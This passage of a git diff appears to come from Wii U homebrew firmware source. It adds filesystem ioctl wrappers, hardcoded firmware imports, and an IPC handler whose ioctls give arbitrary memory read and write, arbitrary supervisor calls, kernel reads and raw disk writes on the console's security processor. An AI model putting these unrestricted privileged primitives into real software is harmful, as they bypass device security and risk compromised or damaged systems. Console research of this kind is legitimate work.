0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x40, 0x60, 0x30, 0x18, 0x0C, 0x06, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x6E, 0x66, 0x3C, 0x00, 0x00, 0x18, 0x1C, 0x18, 0x18, 0x18, 0x7E, 0x00, + 0x00, 0x3C, 0x62, 0x30, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x62, 0x38, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x6C, 0x6C, 0x66, 0xFE, 0x60, 0x60, 0x00, 0x00, 0x7E, 0x06, 0x7E, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x3C, 0x06, 0x3E, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x7E, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x3C, 0x66, 0x66, 0x3C, 0x00, 0x00, 0x3C, 0x66, 0x7C, 0x60, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0C, 0x00, + 0x00, 0x70, 0x1C, 0x06, 0x06, 0x1C, 0x70, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x3E, 0x00, 0x00, 0x00, + 0x00, 0x0E, 0x38, 0x60, 0x60, 0x38, 0x0E, 0x00, 0x00, 0x3C, 0x66, 0x30, 0x18, 0x00, 0x18, 0x00, + 0x00, 0x3C, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3C, 0x00, 0x3C, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x06, 0x66, 0x3C, 0x00, + 0x00, 0x1E, 0x36, 0x66, 0x66, 0x36, 0x1E, 0x00, 0x00, 0x7E, 0x06, 0x1E, 0x06, 0x06, 0x7E, 0x00, + 0x00, 0x3E, 0x06, 0x1E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x06, 0x76, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x7E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1C, 0x00, 0x00, 0x66, 0x36, 0x1E, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7E, 0x00, 0x00, 0x46, 0x6E, 0x7E, 0x56, 0x46, 0x46, 0x00, + 0x00, 0x66, 0x6E, 0x7E, 0x76, 0x66, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x70, 0x00, + 0x00, 0x3E, 0x66, 0x3E, 0x1E, 0x36, 0x66, 0x00, 0x00, 0x3C, 0x66, 0x0C, 0x30, 0x66, 0x3C, 0x00, + 0x00, 0x7E, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, 0x7E, 0x6E, 0x46, 0x00, + 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x66, 0x00, 0x00, 0x66, 0x66, 0x3C, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x06, 0x7E, 0x00, 0x00, 0x3C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x3C, + 0x00, 0x06, 0x0C, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3C, 0x30, 0x30, 0x30, 0x30, 0x30, 0x3C, + 0x00, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, + 0x00, 0x0C, 0x18, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x60, 0x7C, 0x66, 0x7C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x3E, 0x00, 0x00, 0x00, 0x3C, 0x06, 0x06, 0x06, 0x3C, 0x00, + 0x00, 0x60, 0x60, 0x7C, 0x66, 0x66, 0x7C, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x7E, 0x06, 0x3C, 0x00, + 0x00, 0x38, 0x0C, 0x3E, 0x0C, 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x7C, 0x40, 0x3C, 0x00, + 0x00, 0x06, 0x06, 0x3E, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1C, 0x18, 0x18, 0x3C, 0x00, + 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1E, 0x00, 0x00, 0x06, 0x06, 0x36, 0x1E, 0x36, 0x66, 0x00, + 0x00, 0x1C, 0x18, 0x18, 0x18, 0x18, 0x3C, 0x00, 0x00, 0x00, 0x66, 0xFE, 0xFE, 0xD6, 0xC6, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3C, 0x66, 0x66, 0x66, 0x3C, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x66, 0x3E, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x66, 0x66, 0x7C, 0x60, 0x00, + 0x00, 0x00, 0x3E, 0x66, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7C, 0x06, 0x3C, 0x60, 0x3E, 0x00, + 0x00, 0x18, 0x7E, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x7C, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x3C, 0x18, 0x00, 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0x7C, 0x6C, 0x00, + 0x00, 0x00, 0x66, 0x3C, 0x18, 0x3C, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7C, 0x60, 0x3C, 0x00, + 0x00, 0x00, 0x7E, 0x30, 0x18, 0x0C, 0x7E, 0x00, 0x00, 0x00, 0x18, 0x08, 0x08, 0x04, 0x08, 0x08, + 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x0C, 0x08, 0x08, 0x10, 0x08, 0x08, +}; diff --git a/source/ios_mcp/source/font_bin.h b/source/ios_mcp/source/font_bin.h new file mode 100644 index 0000000..949de6c --- /dev/null +++ b/source/ios_mcp/source/font_bin.h @@ -0,0 +1 @@ +extern const u8 font_bin[]; \ No newline at end of file diff --git a/source/ios_mcp/source/fsa.c b/source/ios_mcp/source/fsa.c new file mode 100644 index 0000000..c7b4009 --- /dev/null +++ b/source/ios_mcp/source/fsa.c @@ -0,0 +1,437 @@ +#include +#include +#include +#include "svc.h" +#include "imports.h" +#include "fsa.h" + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + + memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + strncpy((char*)&inbuf8[0x04], device_path, 0x27F); + strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); + inbuf[0x504 / 4] = (u32)flags; + inbuf[0x508 / 4] = (u32)arg_string_len; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + iovec[1].ptr = arg_string; + iovec[1].len = arg_string_len; + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Unmount(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_MakeDir(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenDir(int fd, char* path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RewindDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeDir(int fd, char* path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + strncpy((char*)&inbuf[0xA1], mode, 0x10); + + int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = size; + inbuf[0x0C / 4] = cnt; + inbuf[0x14 / 4] = fileHandle; + inbuf[0x18 / 4] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret; + if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); + else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); +} + +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); +} + +int FSA_StatFile(int fd, int handle, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseFile(int fd, int fileHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + + int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_SetPosFile(int fd, int fileHandle, u32 position) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + inbuf[2] = position; + + int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_GetStat(int fd, char *path, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = 5; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Remove(int fd, char *path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeMode(int fd, char *path, int mode) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = mode; + inbuf[0x288/4] = 0x777; // mask + + int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// type 4 : +// 0x08 : device size in sectors (u64) +// 0x10 : device sector size (u32) +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + inbuf[0x284 / 4] = type; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + int size = 0; + + switch(type) + { + case 0: case 1: case 7: + size = 0x8; + break; + case 2: + size = 0x4; + break; + case 3: + size = 0x1E; + break; + case 4: + size = 0x28; + break; + case 5: + size = 0x64; + break; + case 6: case 8: + size = 0x14; + break; + } + + memcpy(out_data, &outbuf[1], size); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawOpen(int fd, char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// offset in blocks of 0x1000 bytes +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + // note : offset_bytes = blocks_offset * size_bytes + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} diff --git a/source/ios_mcp/source/fsa.h b/source/ios_mcp/source/fsa.h new file mode 100644 index 0000000..914e3d7 --- /dev/null +++ b/source/ios_mcp/source/fsa.h @@ -0,0 +1,59 @@ +#ifndef FSA_H +#define FSA_H + +typedef struct +{ + u32 flag; + u32 permission; + u32 owner_id; + u32 group_id; + u32 size; // size in bytes + u32 physsize; // physical size on disk in bytes + u32 unk[3]; + u32 id; + u32 ctime; + u32 mtime; + u32 unk2[0x0D]; +}fileStat_s; + +typedef struct +{ + fileStat_s stat; + char name[0x100]; +}directoryEntry_s; + +#define DIR_ENTRY_IS_DIRECTORY 0x80000000 + +#define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) +#define FSA_MOUNTFLAGS_GLOBAL (1 << 1) + +int FSA_Open(); + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); +int FSA_Unmount(int fd, char* path, u32 flags); + +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); + +int FSA_MakeDir(int fd, char* path, u32 flags); +int FSA_OpenDir(int fd, char* path, int* outHandle); +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); +int FSA_RewindDir(int fd, int handle); +int FSA_CloseDir(int fd, int handle); +int FSA_ChangeDir(int fd, char* path); + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_StatFile(int fd, int handle, fileStat_s* out_data); +int FSA_CloseFile(int fd, int fileHandle); +int FSA_SetPosFile(int fd, int fileHandle, u32 position); +int FSA_GetStat(int fd, char *path, fileStat_s* out_data); +int FSA_Remove(int fd, char *path); +int FSA_ChangeMode(int fd, char *path, int mode); + +int FSA_RawOpen(int fd, char* device_path, int* outHandle); +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawClose(int fd, int device_handle); + +#endif diff --git a/source/ios_mcp/source/imports.c b/source/ios_mcp/source/imports.c new file mode 100644 index 0000000..4f7d40a --- /dev/null +++ b/source/ios_mcp/source/imports.c @@ -0,0 +1,73 @@ +#include "imports.h" + +void usleep(u32 time) { + ((void (*const)(u32))0x050564E4)(time); +} + +void* memset(void* dst, int val, size_t size) { + char* _dst = dst; + + int i; + for(i = 0; i < size; i++) + _dst[i] = val; + + return dst; +} + +void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; + +void* memcpy(void* dst, const void* src, size_t size) { + return _memcpy(dst, (void*)src, size); +} + +int strlen(const char* str) { + unsigned int i = 0; + while (str[i]) { + i++; + } + return i; +} + +int strncmp( const char * s1, const char * s2, size_t n ) { + while ( n && *s1 && ( *s1 == *s2 ) ) { + ++s1; + ++s2; + --n; + } + if ( n == 0 ) { + return 0; + } else { + return ( *(unsigned char *)s1 - *(unsigned char *)s2 ); + } +} + +// Function to implement strncat() function in C +char* strncat(char* destination, const char* source, size_t num) { + // make ptr point to the end of destination string + char* ptr = destination + strlen(destination); + + // Appends characters of source to the destination string + while (*source != '\0' && num--) + *ptr++ = *source++; + + // null terminate destination string + *ptr = '\0'; + + // destination string is returned by standard strncat() + return destination; +} + +char* strncpy(char* dst, const char* src, size_t size) { + int i; + for(i = 0; i < size; i++) { + dst[i] = src[i]; + if(src[i] == '\0') + return dst; + } + + return dst; +} + +int vsnprintf(char * s, size_t n, const char * format, va_list arg) { + return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); +} diff --git a/source/ios_mcp/source/imports.h b/source/ios_mcp/source/imports.h new file mode 100644 index 0000000..72ee497 --- /dev/null +++ b/source/ios_mcp/source/imports.h @@ -0,0 +1,12 @@ +#ifndef IMPORTS_H +#define IMPORTS_H + +#include +#include +#include "types.h" + +#define MCP_SVC_BASE ((void*)0x050567EC) + +void usleep(u32 time); + +#endif diff --git a/source/ios_mcp/source/ipc.c b/source/ios_mcp/source/ipc.c new file mode 100644 index 0000000..537af36 --- /dev/null +++ b/source/ios_mcp/source/ipc.c @@ -0,0 +1,505 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include "imports.h" +#include "fsa.h" +#include "svc.h" +#include "text.h" +#include "logger.h" +#include "fsa.h" +#include "wupserver.h" +#include "../../common/kernel_commands.h" + +#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 +#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 +#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 +#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 +#define IOS_ERROR_NOEXISTS 0xFFFFFFFA + +#define IOCTL_MEM_WRITE 0x00 +#define IOCTL_MEM_READ 0x01 +#define IOCTL_SVC 0x02 +#define IOCTL_KILL_SERVER 0x03 +#define IOCTL_MEMCPY 0x04 +#define IOCTL_REPEATED_WRITE 0x05 +#define IOCTL_KERN_READ32 0x06 +#define IOCTL_KERN_WRITE32 0x07 + +#define IOCTL_FSA_OPEN 0x40 +#define IOCTL_FSA_CLOSE 0x41 +#define IOCTL_FSA_MOUNT 0x42 +#define IOCTL_FSA_UNMOUNT 0x43 +#define IOCTL_FSA_GETDEVICEINFO 0x44 +#define IOCTL_FSA_OPENDIR 0x45 +#define IOCTL_FSA_READDIR 0x46 +#define IOCTL_FSA_CLOSEDIR 0x47 +#define IOCTL_FSA_MAKEDIR 0x48 +#define IOCTL_FSA_OPENFILE 0x49 +#define IOCTL_FSA_READFILE 0x4A +#define IOCTL_FSA_WRITEFILE 0x4B +#define IOCTL_FSA_STATFILE 0x4C +#define IOCTL_FSA_CLOSEFILE 0x4D +#define IOCTL_FSA_SETFILEPOS 0x4E +#define IOCTL_FSA_GETSTAT 0x4F +#define IOCTL_FSA_REMOVE 0x50 +#define IOCTL_FSA_REWINDDIR 0x51 +#define IOCTL_FSA_CHDIR 0x52 +#define IOCTL_FSA_RENAME 0x53 +#define IOCTL_FSA_RAW_OPEN 0x54 +#define IOCTL_FSA_RAW_READ 0x55 +#define IOCTL_FSA_RAW_WRITE 0x56 +#define IOCTL_FSA_RAW_CLOSE 0x57 +#define IOCTL_FSA_CHANGEMODE 0x58 + +static int ipcNodeKilled; +static u8 threadStack[0x1000] __attribute__((aligned(0x20))); + +static int ipc_ioctl(ipcmessage *message) +{ + int res = 0; + + switch(message->ioctl.command) + { + case IOCTL_MEM_WRITE: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); + } + break; + } + case IOCTL_MEM_READ: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); + } + break; + } + case IOCTL_SVC: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + int svc_id = message->ioctl.buffer_in[0]; + int size_arguments = message->ioctl.length_in - 4; + + u32 arguments[8]; + memset(arguments, 0x00, sizeof(arguments)); + memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); + + // return error code as data + message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + } + case IOCTL_KILL_SERVER: + { + ipcNodeKilled = 1; + wupserver_deinit(); + break; + } + case IOCTL_MEMCPY: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); + } + break; + } + case IOCTL_REPEATED_WRITE: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + u32* dst = (u32*)message->ioctl.buffer_in[0]; + u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); + u32 value = message->ioctl.buffer_in[1]; + u32 n = message->ioctl.buffer_in[2]; + + u32 old = *dst; + int i; + for(i = 0; i < n; i++) + { + if(*dst != old) + { + if(*dst == 0x0) old = *dst; + else + { + *dst = value; + svcFlushDCache(cache_range, 0x100); + break; + } + }else + { + svcInvalidateDCache(cache_range, 0x100); + usleep(50); + } + } + } + break; + } + case IOCTL_KERN_READ32: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + for(u32 i = 0; i < (message->ioctl.length_io/4); i++) + { + message->ioctl.buffer_io[i] = svcCustomKernelCommand(KERNEL_READ32, message->ioctl.buffer_in[0] + i * 4); + } + } + break; + } + case IOCTL_KERN_WRITE32: + { + //! TODO: add syscall as on kern_read32 + res = IOS_ERROR_NOEXISTS; + break; + } + //!-------------------------------------------------------------------------------------------------------------- + //! FSA handles for better performance + //!-------------------------------------------------------------------------------------------------------------- + //! TODO: add checks for i/o buffer length + case IOCTL_FSA_OPEN: + { + message->ioctl.buffer_io[0] = svcOpen("/dev/fsa", 0); + break; + } + case IOCTL_FSA_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + message->ioctl.buffer_io[0] = svcClose(fd); + break; + } + case IOCTL_FSA_MOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + u32 flags = message->ioctl.buffer_in[3]; + char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; + int arg_string_len = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); + break; + } + case IOCTL_FSA_UNMOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); + break; + } + case IOCTL_FSA_GETDEVICEINFO: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + 